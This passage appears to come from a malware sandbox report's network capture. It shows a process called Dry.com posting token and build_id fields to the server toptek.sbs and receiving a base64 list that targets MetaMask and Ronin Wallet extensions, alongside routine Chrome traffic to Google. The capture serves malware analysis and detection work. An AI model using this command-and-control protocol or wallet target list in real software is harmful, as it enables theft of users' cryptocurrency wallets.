2024-12-23 05:21:30 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 52 39 48 34 45 55 33 37 51 49 4d 59 4d 47 56 4b 58 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 30 52 39 48 34 45 55 33 37 51 49 4d 59 4d 47 56 4b 58 54 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 30 52 39 48 34 45 55 33 37 51 49 4d 59 4d 47 56 4b 58 54 32 0d 0a 43 6f 6e 74 Data Ascii: ------0R9H4EU37QIMYMGVKXT2Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------0R9H4EU37QIMYMGVKXT2Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------0R9H4EU37QIMYMGVKXT2Cont
2024-12-23 05:21:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:31 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:33 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Z5XL6XTRI58QIEKFKFCT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 7085 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:33 UTC	7085	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 Data Ascii: ------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------Z5XL6XTRI58QIEKFKFCTCont
2024-12-23 05:21:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:34 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Z5XL6XTRI58QIEKFKFCT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:34 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 Data Ascii: ------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------Z5XL6XTRI58QIEKFKFCTCont
2024-12-23 05:21:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	142.250.181.132	443	3808	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:37 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:21:38 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:21:38 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-9O1WlymOi8V4G74_7Od_4Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:21:38 UTC	124	IN	Data Raw: 36 61 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 6f 6e 69 63 20 74 68 65 20 68 65 64 67 65 68 6f 67 20 33 20 6d 6f 76 69 65 20 62 6f 78 20 6f 66 66 69 63 65 22 2c 22 77 61 6c 6b 65 72 20 62 75 65 68 6c 65 72 22 2c 22 77 69 6e 74 65 72 20 77 65 61 74 68 65 72 20 61 64 76 69 73 6f 72 79 22 2c 22 75 72 73 69 64 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 22 2c 22 70 61 6c Data Ascii: 6a6)]}'["",["sonic the hedgehog 3 movie box office","walker buehler","winter weather advisory","ursid meteor shower","pal
2024-12-23 05:21:38 UTC	1390	IN	Data Raw: 77 6f 72 6c 64 20 75 70 64 61 74 65 22 2c 22 70 61 72 74 79 20 63 69 74 79 20 63 6c 6f 73 69 6e 67 20 73 74 6f 72 65 73 22 2c 22 67 6c 61 64 69 61 74 6f 72 20 69 69 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 6e 66 6c 20 6d 76 70 20 6f 64 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c 22 3a 31 30 Data Ascii: world update","party city closing stores","gladiator ii streaming","nfl mvp odds"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10
2024-12-23 05:21:38 UTC	195	IN	Data Raw: 53 6a 41 35 59 32 46 61 53 45 52 50 4f 47 74 74 4f 46 46 35 63 45 39 4a 65 45 46 48 4e 58 6c 4e 53 31 4e 58 4d 31 70 50 55 32 55 33 5a 31 6c 76 54 33 52 4a 57 6e 4a 30 4f 57 78 31 54 55 52 50 54 6e 68 48 56 46 4a 43 51 6a 42 51 63 57 52 36 52 30 70 4e 64 6d 63 34 4f 47 31 75 55 32 45 79 52 6e 5a 78 55 6d 45 31 62 57 35 72 5a 6e 56 47 5a 44 5a 7a 4e 6e 45 76 59 56 52 55 4f 55 35 6f 62 57 64 31 57 54 64 70 65 56 56 76 57 47 74 31 55 47 31 4d 53 55 4e 50 56 31 42 61 51 6a 4e 46 5a 32 4d 31 4e 32 67 32 4d 45 78 74 64 48 56 6d 62 32 35 56 54 47 46 4e 64 6a 68 34 4d 58 68 58 52 0d 0a Data Ascii: SjA5Y2FaSERPOGttOFF5cE9JeEFHNXlNS1NXM1pPU2U3Z1lvT3RJWnJ0OWx1TURPTnhHVFJCQjBQcWR6R0pNdmc4OG1uU2EyRnZxUmE1bW5rZnVGZDZzNnEvYVRUOU5obWd1WTdpeVVvWGt1UG1MSUNPV1BaQjNFZ2M1N2g2MExtdHVmb25VTGFNdjh4MXhXR
2024-12-23 05:21:38 UTC	91	IN	Data Raw: 35 35 0d 0a 6d 4e 4d 55 46 70 32 63 33 56 73 51 6b 49 72 63 30 39 45 56 45 6c 51 4d 45 6c 55 4e 6a 46 54 52 31 52 54 65 55 34 7a 53 32 46 32 64 32 70 31 62 6d 73 77 59 54 68 30 62 6d 4a 4c 64 31 68 48 56 55 67 34 53 56 6c 61 65 44 64 6e 62 6a 46 4f 53 47 39 77 56 32 0d 0a Data Ascii: 55mNMUFp2c3VsQkIrc09EVElQMElUNjFTR1RTeU4zS2F2d2p1bmswYTh0bmJLd1hHVUg4SVlaeDdnbjFOSG9wV2
2024-12-23 05:21:38 UTC	1390	IN	Data Raw: 35 38 38 0d 0a 5a 43 4b 31 6c 45 56 55 35 53 61 45 4a 35 53 6b 6c 56 5a 69 74 73 61 56 41 34 4e 6d 46 6e 63 45 64 77 51 54 68 6f 53 56 64 7a 4b 31 5a 33 61 57 74 6d 4d 58 52 77 52 33 4d 7a 64 6c 64 6a 4f 46 59 79 61 45 6c 75 57 58 52 43 53 6e 55 33 53 57 64 43 64 30 31 6c 56 30 31 71 53 54 68 35 5a 6b 39 75 62 46 46 4f 5a 46 4a 78 4e 6e 4a 6b 56 48 4e 59 64 57 51 33 53 30 4d 79 55 31 46 31 4e 33 55 72 65 6e 63 35 63 57 74 73 61 33 64 47 5a 48 46 70 52 30 78 50 65 6a 42 7a 54 46 4e 6c 62 6e 52 51 4d 44 5a 4b 55 6d 56 59 4d 44 42 46 63 6b 68 7a 61 55 5a 54 56 31 42 76 51 57 56 4c 54 47 52 4e 62 45 31 4d 51 30 4a 79 4d 6c 4e 6c 54 57 4e 6e 65 6b 78 6f 61 47 35 31 63 56 4e 34 4d 31 4e 71 4e 57 6c 76 51 6d 35 71 5a 47 70 32 63 57 78 6b 54 6d 6b 35 55 6b 56 50 Data Ascii: 588ZCK1lEVU5SaEJ5SklVZitsaVA4NmFncEdwQThoSVdzK1Z3aWtmMXRwR3MzdldjOFYyaEluWXRCSnU3SWdCd01lV01qSTh5Zk9ubFFOZFJxNnJkVHNYdWQ3S0MyU1F1N3Urenc5cWtsa3dGZHFpR0xPejBzTFNlbnRQMDZKUmVYMDBFckhzaUZTV1BvQWVLTGRNbE1MQ0JyMlNlTWNnekxoaG51cVN4M1NqNWlvQm5qZGp2cWxkTmk5UkVP
2024-12-23 05:21:38 UTC	33	IN	Data Raw: 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: ERY","QUERY","QUERY","QUERY"]}]
2024-12-23 05:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	142.250.181.132	443	3808	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:38 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:21:39 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 23 Dec 2024 05:21:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:21:39 UTC	372	IN	Data Raw: 31 37 39 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1794)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-23 05:21:39 UTC	112	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 32 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 0d 0a Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700322,3701384,102278205],"is_backup_bar":false},"p
2024-12-23 05:21:39 UTC	274	IN	Data Raw: 31 30 62 0d 0a 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 Data Ascii: 10bage_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);els
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 